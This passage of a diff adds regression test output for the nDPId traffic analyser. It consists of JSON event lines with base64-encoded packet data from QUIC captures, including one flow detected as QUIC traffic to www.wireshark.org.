DpWjDGxjT2MDsyXTPzdJOrwupelUXdrY5ldlO0BOU4mi86dMKwmn3N98YIh7Xk16l5iWGVTV4G7BiDgSJjCmtvL4gIyWDqlNk4rKdN30XBAMceNyzUL3I+J9QvbqKGfekV6XugZlAoULV4ad+umJRK2vmBuKK0I6o4wTokYu28rX8sUaoMhaobdOad13wg48RmxbjTjdVBAPfX1KeyZee+F+tEvJH5c76CbSftxDPZQcvK0IFFWHU3fXRowm7y0cXr5ihgo+viz0RYExACCOzUg7yyTUEr1K5pmd+JJe\/u6dmlpru9YEnDkl0FaQ69KgHJy4lAr1a6N7vOW5UVyYYpXufTEaXlc\/8T1+66MUdctqR87rt+GkJYJBgPUPk4vo26994MdlTljOZGjiPv2mj5\/nUWzoMXcG2WfI4Qc6qCD4Pv1VD6RdmOwoJjV\/su+wg4zNBn5R6iJ+ATQnf2WSumgGNmoSRr4mJgiWWxiEWYUww8aIC7q0BmFcfSOGzsQu+p4VSWP6YjS77bvflLoX3O75q7WJVNOS+lJu43OyzHz5fgIDeXGokHeXy9NpCGJdtgA3NQbjooA3dcAcQ4tGZv6kkVjgPSkmu0AJzjNvJuEpULFm5FZxpfYNwEra0h8ooobuNRKlg4azk0ZN39GAv2Rb82ENGYGAK8P6\/LrlPwKtRzuXRWUzO0rErD\/GlE5wROht4c6ajGM"} +02227{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":28126,"pkt_caplen":1392,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1392,"pkt_l4_len":1338,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAABToROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QU6Cu\/h\/wAAGwAIe6d1Co879VZFISUoS3c1LeI1f3kGlK6\/QNOr\/NABLaBx5LTjTiMM9smnvfjoOua+FQJnE+ZH3t9qb\/LL3ilj\/FL3JWoQ5AsutZ2v0Ov5AHIE\/ZIUWiM\/b1\/Psqe7HjCEfGa\/Pn04VrjRCrsUglRK8pqyMk+t9GQppn+F+FNln3t\/Ds1nPF8o5QqtUE\/q8LSytE5W4tmuafAvGb28tHvlqcR\/91RGVeuyv4ZdYWnJdOAVFbjKuvIKEBKANwTaD3AkFWVEqaZvu2l7N+bGHJMJgiqgp+9b0cttal7FMoGFs6adg3LTgTWujkwfJekftt71zIfnuU+0PrD0d1qsB9TfSCuwGwbbbDRgYG8XVwL8zxmRLn9Auhuso8795903Gpq9LAC7cKoiShGW3C0jUGDF2xTE5Ylh6zMUGg6TDya5bEvipHZ153rW7TWJT4vkCkw69eqhsXJvjw4jYdOmvyvgSYObUpBV9iMJbMO+hRaTJxltiDxz92XCBsPx8yqbUs2tFBONzhIyzkw6xcC\/ZeQUgpLso2N\/diUisa0e7nV+xuLNdIjwkxLf7DoY9I1jzeq6G50DsNvHoUCKgd3CqYNQEn6n3zvfWs0l1E+3sjvio+tlZOFbR5\/DYOBTvbtb5ssrxMIMX8I3hPzw9rkivT0lYBRX+etHZhXt8hIL1OE+80IRt8mWNHPnEXuvPuDJByNp6x\/JtjAfFDInDCqMZK5djoXSTtUp6qQpvlMtB5m7uyaaysgNqyHnSwGOB1dQccM7cak0t+MN\/+IlDtPj\/wmwqBImSV0mDKjXywQ7bsYfqHPAw4CcwzLo9zcIEtNjvcoF\/TZi238\/qiq1vOsMzk+82E4taf5+VHAoT267xBTLDM+smuKoEbkSDtxc4QmjrDMSSWkWQOyC8j+c8nyi51Tgg9IM+iQxLRMFa1CGft8h+1xKuJc\/FoiSqN62L+IA1P\/LA6XLD1NcjJXY8IFwooUg5\/l4urKJmXSLnA14ps26fW5korJedu9wd8F7Xmfcc1UPazcpuQfJHQG7YeUVyqtcnf\/M50G948rp3i8MlfdgRmcCkEymW6bJzm9H1yUPHWWVg8HOVbIhOYXhjPZBSQAlSaAvFYwI0hnoFbYkJj+9n2WEPggdOcoa14iw5SpNWfyjQ7xR+ONzyW6OQ6pGo\/5atAj5QVcoQwnpzOt5tX8qNfNp+ZLgOF6ctVOufCLbzzxeGWcDSRiSqOuzJgCM2yRC6LvUvJkH91CInawmzFG3KkPQdB+K5Jeq9ffHYQN97+fJAdP1OG16UX\/SX3t9htwnBd5Z2+nh6hjwV4n1SIuOG3Hkxljd3DTBhpYrha5Q6nDeBc80QdbhiBU+OOsYLrGr5FFnb7THO1Vnn24CyVDvtg15ACcXDu5+GlJ8RYCR2Wabyq5m4hTyIb0TZAJQQbQFrD4b0mSxbusJpuXWArhNyDl\/EBNhAQww3zF3I9SOtZCwpTDRceQbTQOAJV7CfIzUtg8zRWTrK7m31aSg+RyqaQizvPHdNQMSy\/YFccGhfumDWmke3xEkgTdSt8YZMA\/WkC3aY4yD7Wur7Pzm6lg+b3UbI0ywVjTd\/xHuOKwpoNWGHWnV5hMMRvNQhiEaJSz6nqjVsSK7kruepr8Ko0ZQkHqE88t8AwjTdaguGXi2F0WBsYS18MpGKpw47jOcMsAq0ON0Xc5cprtI18jJDmrM5xRj17Fxa6cgxyolfwWbwqSt2+gabY+qJoNGuHEvOX+LyDBXyyTtHBoULbRF"} +02117{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":28194,"pkt_caplen":1315,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1315,"pkt_l4_len":1261,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAABO0ROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QTty8bm\/wAAGwAIe6d1Co879VZE1PHjETfG0ueUpxTECNKaYnJ0PF3IDAC3aRBlRkR144x2Jf5k77z42+wbqpUTh2ijKOcGUwV0WjQw82Jkh0Mbpyac6REY1EaffD+Up+OVXaL22dmCjILdDrtNQa7Hl9lUtINpIxHYubN\/KbZWVo+zXnO9sV805O7yWAap+UfFIbQ+vdL+4vpb7gQw+P3XL6bnx29hBKCFflWgViJn1V0IO7kNbHMIfCJ92MfmuDuCVbloUz8zpRGf7UED2I3fz2jLns5Meo2U2zVlBMJmgddYIXckKEwBgM6LyDUD2663a1VJ8TyDh+g1enyeb2aCo9xYYntaI0Xx+A6hC6L\/0amOWCEsPW97VItpLnl7UR6+bd8WL1eNmT6rnccQLJsU5fOwWkGKhbpEcwNIQBIuvDjNzfEttfBwH+MjOe6X85uFNzF2O9g7hLDIXLJKaXxfo0r48Lu0yqhnUc+\/XoRR4uJvi5xOS5Vj6wlRaRE0BHD\/rg1iayAzYrtwsMG+GS\/7QiABQlxuVJdA2hQYVBYhAtCvqLhjhK5zd+M9q49IEc0edG3OMsYd4OgZOgT+3IV2itZof2pNaf0EL5HqvSQgieldZpf9YwQkkv4NafTRn++v43qlC\/t1OOjoUw5ug5RJ7IYk75HRrtajAx7aUhyt\/casjWOr29Dtb2nmg02oLqKAYRpS3NRvkjRh+C2ZTBish9EfhrrLowPuo6TsVqCVDZnQb2xNIWT1kKYKe\/uyt82huYM7t007n8ANjqDvRoiaTlhMEHazdE33IZlD\/BRN7F8dHh8UrAJvZiFKRD42l3JhfkamAH5MBj7g3Uo5F6X99FeMSo08ksc+RB7nGjH0zTcGPmNh8rwRtJZFffx3izddoy\/+dUBEu+tSZ51xRJXjTaVcfRaiRjuSLdf9e5rTpHCwoYvalRhQ7lvzVfbQ35LyQgiz6o5iJHL\/\/YUHVtknOEUzPPGMiMPBxcd2VpKm1CVVlcOvpA4+YYrGBDxsuYxFVOOeAI0fCH6beDSZhrf9NTXbXo3z0OWlgf3o1Zw+BQMgMR03wsz6wRSrbziTHC1V7yNItO+ZTgfpIk1NzOrcLTP43yY0FIUdINGv1GF08d8asrujMSPf5tzDa3kAreCyPyTYiibdAvSzDGkdnaIaRcYJMaprdHTV4CoeZvPxCxU61AcPe\/GPz4fNU0JZubeWIeyOXra084r+lk7bAEztCkNWacR\/RWNXKcNDeW5UHxxsuy4i7Gu1s28e5ZZwsWM7HGh9JOh7Ap4tfhwtAiBDVhKMfZxTDCzvu20KSnLCj6WB6YorxfJyKwWHYEB4G3jwZRhpuojsVe78rSdMY7TI9+pl1B9F0ae48GTxYjziGd2XCaZbKzg0+vz19N3ZOnbfRGagcRn1N\/97ga7S7SlZ7wBqIb2d\/6pnL4fXUdz9p18HO4UPMxH4Ng38tdR+\/uDCM35Wkr5TbeR\/h++4ha968mUrDkiVUu6U91H+yPFMHnvP4PEM46ZUTULuPL9TEHnQqULq9e1cTab9HChBZ4GqTU9TOVzxhwddsay26+bcPQpdIAK3b3m+qnTg1n90Wh4UYo\/F0hPHFmShYs4U2miyDbYSymlAt9f0s8\/8SAtzzAkzif8sY5m+0tq+G68HtFw20a5ePpmdBA=="} +00506{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":28240,"pkt_caplen":124,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":124,"pkt_l4_len":70,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAAAEYROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QBGCwVNVfJEQr8PYIPW8xVqQwL+A4\/9lcyL7CaCZo3XOpazU5oCKTa4lyLLJZqjonJIBUQP08iwa3FBaE7\/EprGGA=="} +00478{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":39479,"pkt_caplen":103,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":103,"pkt_l4_len":49,"pkt":"AAAAAAAAAAgA1Oceht1gA0UkADERPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwAxDynv\/wAAGwh7p3UKjzv1VgBAGDPPs+isf\/pDP7lbKeS0aM7l7qFpToqIWQ=="} +00478{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":46645,"pkt_caplen":103,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":103,"pkt_l4_len":49,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAAADEROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QAxhkDo\/wAAGwAIe6d1Co879VZAGPWVoSvwBI9j6QqjI2gqzievNYK3wy\/HDg=="} +00616{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":51379,"pkt_caplen":204,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":204,"pkt_l4_len":150,"pkt":"AAAAAAAAAAgA1Oceht1gA0UkAJYRPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwCWbcHi\/wAAGwh7p3UKjzv1VgBAOFZmIX\/r6LfgDKBdfVa\/S7KfYoYfpfolLKzOfDVzXDwy5xIal+1hy+C4sNMlwXCuAOsuNi+vVKFIQ3undQqPO\/VWCT1ZhUusQNVFwW2DAvvlQetTcH5KWOREf1TdLA93Xn3H\/SbuubMnbX0ymnObeAGA6fUx+Qst8wm1yFeM"} +00455{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":56721,"pkt_caplen":87,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":87,"pkt_l4_len":33,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAAACEROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QAhxJtJ0vlePwp3\/Dr90t4sO0RgS2+\/37G\/clBZ"} +00480{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":58859,"pkt_caplen":103,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":103,"pkt_l4_len":49,"pkt":"AAAAAAAAAAgA1Oceht1gA0UkADERPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwAxntDj\/wAAGwh7p3UKjzv1VgBAGPtLGuYFc7WdcnTy8L\/E29xsFasMXlnl1A=="} +00464{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":69315,"pkt_caplen":95,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":95,"pkt_l4_len":41,"pkt":"AAAAAAAAAAgA1Oceht1gA0UkACkRPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwApFwNce6d1Co879VabwAwUTyXQnR3t5SGvwZQ4CIrfkFTg1nE="} +00456{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388076,"pkt_ts_usec":81560,"pkt_caplen":88,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":88,"pkt_l4_len":34,"pkt":"AAAAAAAAAAIA6W2Tht1gAAAAACIROC89ZNGdWVSbAAAAAAAAIA4+9CGU9KY1A0DNBxQAV8TkAbv65QAixvJT4nwLs2JbuGwUn2PwacyNosM6UeSAkNAE1w=="} +02221{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic-27.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388084,"pkt_ts_usec":237837,"pkt_caplen":1388,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1388,"pkt_l4_len":1334,"pkt":"AAAAAAAAAAgA1Oceht1gDrouBTYRPz70IZT0pjUDQM0HFABXxOQvPWTRnVlUmwAAAAAAACAO+uUBuwU2Dg1ae6d1Co879Va2ZZM8syPbsXCspbQN41glVHJVHAlKR4QayFu+64ooEGBAvsbCn8jPDFYncNADtTPv3asuZvQwLMtyR+hCJX\/nHLi6fraIVO8AAG0gdKiCM2xwF4t4DtsgF3WvC+kxionBGo0UshXoxep08Js3Xnpp8rhTL9O63UTuXknIs5TJ4VmNG4WOKJ2nNbb7DSGnE23WI02O3mt\/zI2zGLQrRa2u7\/Cf7QSnMawLIvFuubdQtbFVr3ZbH3\/VJxC0Uo8fqS+f+nUycibOzF03uqAjpE0+7jsdzR\/s0FaLYiEqzhPTVOdTvZHW0+uDaIi0L1XXiaL44H4ftqvR4ZkLqYs87tX8cGlVVb44oxQGUy2+qH1dY8LMiupdzpMCIQZkN96FbuXnJImigQaWL18KPPCU26rDz8x0z\/QbCxvNVh785gzW3sWZg4Vhd6Ys4g0QRB6WHqpU7D4Lim7aA0lRkVbs9Tm3smCV78GqlLKcuv\/LATc0CwL58E3puILDQn5COR9CbSxiT6hDKeHU7oySJ28SV3RUNIhwcYvJcj\/hz3w1rtiiTnVFkM1vzFQv5QLWZXZtFXK4OG0eXndCUFGc3Z5bqHStx28ewBEXbON+8U8loy9G7zZXXzMDdGp5F5wTsARLAKIGIVRNYoIyaozwMB6PpgXEHoKypd2e3UZZl6NBgCs9vUWAuVv6agH6u2dqIJKzgZUVv3C5jLPcm\/49skYrQBOVnTF\/VAgGfscx0aef5fvSGQMV1q5VlZZID8NZtA3EIMn3Ze5dGghaPfpEk58u7A9qXqLQaQxDJX9z2RgHP1YVvdITOwLj\/zBchuC92Tlw\/YkgxjjzjLZQc2Vb9NrOCJPVqJD2JRLptVYJWP43tlAKWxgZLoupXKKJ5e31jI6rVcRPLRu7kj4HC21B+hmVQbgVgZwKrYS91C9moo6ZCgV0Eg5bt8IT+Kqdnr8OoLz\/iPp+geQ2g\/Br1S3Ur1BFTff+VF4okLnpVbHwTyUlKI\/L7kauYykEC5xx5slsr1gD09C\/jI6ZmnMUV9DOwoM8Y7PEyV4K5MbJgbrkVv8i57qPHfcPVmzWgzfYXVsVEbAAcUEky4K\/eVzQ4efxFhzShdWM3hmvFmUJLmNczh431lTzD81m96N1fbOuSlQ45OT1Qyk1I25rqvAG0ookjSvHOKLBnG2+FaNx184FvguqIG0X0YSHOAVWVSRfK5emxBc1AHXiWutXhJ9PIMqqzmGDGUSqdh4m75bkEcKFVwTfjCPwVdcLx+P0uy6AVdZpTXt2Letk+D9MCCIYxfL\/84U7LhHZrEEG\/1LVU3Mn5KKTnOxYOE23i1CzJmAYiJF29J7OpQmaoG2\/tm8DJSYjxOgO0sjt19ggtozhkEHpounRlS7uU5\/\/nitU0qwp+gR5N1cRHHs06M3yRIAb49528nfAjgI8RNOPf6q2ATBVhV9LlPFxzhXRBUdqjesUgw5lGCzrXxP+1G\/yIQ9ZBV6RfRq+diwUk4ouIlXMEOPQDuifMm\/xmzt+u8bTYff8H79e1dD8cvE7ze6FNOtt67qe4+xNsln5jTrtIwas8Tm9H4uljGH3m0owyWvlAetbIFEq8NJyojv0Dj4R16WWUkAz\/O3h6C8rNIx99Zh3unIrOKEFfXOkDOrq6TLHbLznRoVlozOhvcdcwQ93IOtqHykPxljYVIhhzEfwh41fV3jbRQaRL5Rd7lKAIMYGpCdCw\/XhLSaACgfZHeiU+VHVxLMMtJ1aPGsKMZdeO7w="} diff --git a/test/results/quic-28.pcap.out b/test/results/quic-28.pcap.out new file mode 100644 index 000000000..3e0141cc3 --- /dev/null +++ b/test/results/quic-28.pcap.out @@ -0,0 +1,17 @@ +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-28.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591267474847,"flow_last_seen":0,"flow_tot_l4_data_len":1208,"flow_min_l4_data_len":1208,"flow_max_l4_data_len":1208,"flow_avg_l4_data_len":1208,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.2","dst_ip":"104.26.11.240","src_port":60106,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02022{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":847575,"pkt_caplen":1242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1242,"pkt_l4_len":1208,"pkt":"7jdRvai\/bmImQfCgCABFAATMbsBAAEARSUwKCQACaBoL8OrKAbsEuILewf8AABwQgoOBp4aIL+MPCXOdR4KiFxRAxLpnL0UX1efsgg\/VSxB4df2ozABEgmEZ7SPB63FDIt1\/BNmaABrW7\/a2mJ6Qg87qxio5qp+Au1rZycjjs1xq27TUqOstzWUVkmwpCYXpvpOqlbwTvnFsXueqMWKDAlTPVsrztIv2pHHHaD8h888fq\/JGG\/YMsyu4siFFo62sUPCzYnviiGb9Ejlp4qwUTq4AjO99Rthdv2GbNC\/OStXSWSDjD\/leZL9UJEZcJ3LhlgqAVgxUVrxuE0rbeF3i8aF9iakAqxlqpoDj1+5t7ILe8xHKg8FUG1XnL5zpn1\/qeTvTEm18Ejt5DZJvb7rSMM3y0kFKOsdK3+oTGrisBL0Fe\/eBZ9f4xHzZvM5y3BCl2N6qMFMX+sMnr8ggfIKSQlAxo6qy68ZM170NeiI1bIaY98nIrG3zZt3dnHbbcgfFiN6lFzYaQLJBtV\/WEYTHy0okUamYC\/5cNM9tSXVBXfneC5HIpPjBuuyE4+LzF5EWg6rp8zulZ5VOTIetNIdJsnU+GlxyeY+BVtCQCCyWElUlL9X91YgIZ8MpCHxRq8ZJCkmY4nF34gFHgfsegffKnBAav99zdzm50AvMu4lP1B1F6cRA2HMPmAvCgUL1IKMcacz2eCZBB7FWHguZbpDdL2+wruFSVOAWeB+lE\/kuyF3MF8D5tAMKtEitOKdhqy3C3qGvZcZVGOZKPWGr2BC7JbZdFGIyYmNwp\/bvvX8XvDggJHwe6xhqAz5sua3BsvUJ1vySN4kKaHQ3EYKLbPPRjDwQinHrO49sFr8oWJyt7OK1yq06uwrlP3p4sqV3\/tL4FsOHtHVAI5LvRB8KISYciiug2cmuSgzkDgaTo\/e3D\/u+rCXDQ3xoip3ktBsckfTnGfFRGZIYxKdaQnHhOXiTzFQ6mSTNof1wHefWEQube1a92cmaAPSGQOt3LWbH6N8\/qM1mTakjE+QJv0K3HWVx+nbk2qFqJc+rHv1Ie37Z2+wHGh0NjwgX3P+8AdCqq6tgRzOpAdLNRrnirmseM\/zZQ0+cDRuw83pFP+UWZ+PCK3wKRZu1IhQ2h6D6lcGAbZA9ehc5yOvz0v1LsR84aEk1FsEGNTqF56I+GB\/2xRH4N5F5aeUjnenJzGpEQkofmIzcU+knq+dcQuuDHuOTLNDIaiPO+4HYzT5IY6vCSgCHcPgQVRcUuuSg\/GpGaVSknd81XIsamcRfeqURHQ1MVwmLxgOMP3+I5HFeghmJ+ki2zeRb+13f3SNlS\/RoVNOTrzjA86oM8wlv5t\/i38dgJDMR2ZvO+tz4iV7y7Y3T7RFYvvK2F7LLOH5ZrOKSeJb1SNqfpAw6nEHN8am8q6WcZIClcZqDQiuuDV2HpT1RM8QezzenJxkksNL2P07lZwI9HU4P7Ayp4wWZ6zeiRYoRywRS5R5VWfF7StuaGYuXatUeylxdjHJ8UwmFRvFoXP+8SlDa8jkz\/qhABAK7x0AzjsV\/3jzRSi1nVL9yl92ydFm7OXWFMLaMdafTsMx6SG3eTR9qPpGQqQKfrm9F1wk7utXsAM9DKqSLm\/MYVhMIgqodecjchaLAXg4QPX1N"} +00693{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-28.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1591267474847,"flow_last_seen":0,"flow_tot_l4_data_len":1208,"flow_min_l4_data_len":1208,"flow_max_l4_data_len":1208,"flow_avg_l4_data_len":1208,"midstream":0,"l3_proto":"ip4","src_ip":"10.9.0.2","dst_ip":"104.26.11.240","src_port":60106,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Cloudflare","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"www.wireshark.org","version":"TLSv1.3","alpn":"h3-28,h3-27","ja3":"1e022f87823477abd6a79c31d70062d7","tls_supported_versions":"TLSv1.3"}} +00456{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":861209,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"bmImQfCg7jdRvai\/CABFAABL8YhAADkR0gRoGgvwCgkAAgG76soANzParQAAAAAUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwQgoOBp4aIL+MPCXOdR4KiF\/8AABs="} +02022{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":861366,"pkt_caplen":1242,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1242,"pkt_l4_len":1208,"pkt":"7jdRvai\/bmImQfCgCABFAATMbsJAAEARSUoKCQACaBoL8OrKAbsEuILewv8AABsQgoOBp4aIL+MPCXOdR4KiFxRAxLpnL0UX1efsgg\/VSxB4df2ozABEgps603pxkyOuWqOuDCBHqFD5j6Z3HbedH1LdiS7r9g7eF1q+4GbQDzwEnV9STArM0Em4niSxcOP14YGEMbCxBeurtCEC8Tmf6DBDqyOKEQqlh98RR0FuyctJCM99u6oRT6urYJjdL6PSSu3YTL8HY6NviKj+LkpdTz6KmCgYvbgKd7NEhPEXmVYO+dL7mTC6YtcnEsrAHQU704mlKvqtFGL2\/5msnq\/TWBIk6bybV0DxYkGzE2Dnlwtw+dvrt9SpZJQBYmvuqQWRkw7Xl0Ri5Ou\/YH0Nf3CEwfW93dKkzcyI\/xYg9i+2QKy1ICjIZ\/JAWTdEHFRK8O6Gl0vStYOHFWBxnM\/YifVgYZg0OsrKE2RfzjKKmCKUpNz\/eEInpy3g7Oy6BASDjgCLyqH4KHC0RkRyxMeAwO\/4Ueuev5PR+GIZT6RPX+8eDG+GEJz8bGHJ80oLKupj5MfUtk1+qegg2dzVfHgOvprBxIArXCNmBUVNivV7wlObqf87COabZiPrwNrq3bed\/ALhpVnLbXDu3mPYFozof6hWLQUSRUCvRIP+L3zyyxfAOLZZ711TySAZxpgSSNbMb5wMga2ZxBCZGIiJBujBs0RFh65ea1D90334s1gOATeyFD6G0Y5nni0vv93RqV0rCUx5NmKsmees6Lb5Tn92zzlLElQ0tJj8i0NV+A1o9UmRJisTfKPDHGhnjIKCy7tWmA\/6WnyjC5MVpEofvbOp6VSLzrYFEbs4xO0nP5EWcI9akrhkBkR4BVPvA3BR\/JNC6qdA6XjZq7vEC4PK42e5TCzz\/lS4AoqV6qY+iOUqeRm\/KZeFGwLXw2YBxOFGvLQSYLCrM0JT+ZZ\/+YM0cgNTb4UsfslWeAa\/dEDn2K0d5vlVIufoqB2DscZriUDfkBrMe3p2BYO28jOG0dIt\/\/+wVszbGGjaG2DAkiTDrcM67+fz7k2j14PiNbU6+l0I0CfyoRbB67XXdFnPllMtNEGiR4aBRcQCCchbCVwdD7xGfKg8VLCKykEzUES\/y7hiagE2xpKTSbAUtzMYTnIbSLikbFGyfUOpyFdt16r3gk3qkldqup8CI9vmdvD1rvxsFHFdQKlm4ct28WVqNsM7AcMCYS4IdY3fjlHdgQeFzGauOLiE2HquU8FAgRipNJCs2vXSgmlj6qxAuSretb3YYCFUtS5vV7VhzZ\/si5aRaf72K7CkGDHBs9yzIrPzdtDp1CIjAcpqkTgTiqw5a7bneWQdm6knt9coPgKABTdfR1Wfei0Q3edydbubwRd1QyG5zjI0T9bXVZf85BmVvZ\/oiH86E0oC1c6Hyl3M4ke1W9+ncVNagK7XEVU\/lQ9u6NvkLWq7c7LzCfIQKMjglkD6IZxuZzbgX+IVXu+2\/W0iJnR1BIZqRhI1sURkCMk5kSbefJtA\/3ss1rR1eV5WU9Nj63Lk8fki45wlDZBMYeXWKNBze+M4K2DVnLaUMILrXDsu6YTHRFaaXufk6rRMF0IUC\/p6LhqvtpFhBb7T6xRXz1tVkXrpMYBZz4xjGSbfGjFB"} +00490{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":875141,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"bmImQfCg7jdRvai\/CABFAABj8Y9AADkR0eVoGgvwCgkAAgG76soAT+eKyv8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TAAFv5HsDxxmd5VEpKl2hES\/adSPHMDBUM="} +00613{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic-28.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591267474,"pkt_ts_usec":876194,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"bmImQfCg7jdRvai\/CABFAAC98ZBAADkR0YpoGgvwCgkAAgG76soAqc9DwP8AABsUQMS6Zy9FF9Xn7IIP1UsQeHX9qMwU0rPlqKVxohC0BrmDOppdYLs59TAAQG\/1pyxQuqr\/rtpFC2WVmtFOhv9JrpeHuopL7hMPE9fxl6sTSmvxfRAUwl+0yU2EdY5OnjwmP8hll9t175YCQMzKJKMegfWSiSk2V1nk0gFVDaY\/3+57WXWRq1p2wGvEOZh04iEYFueX23hrwDr59zo="} 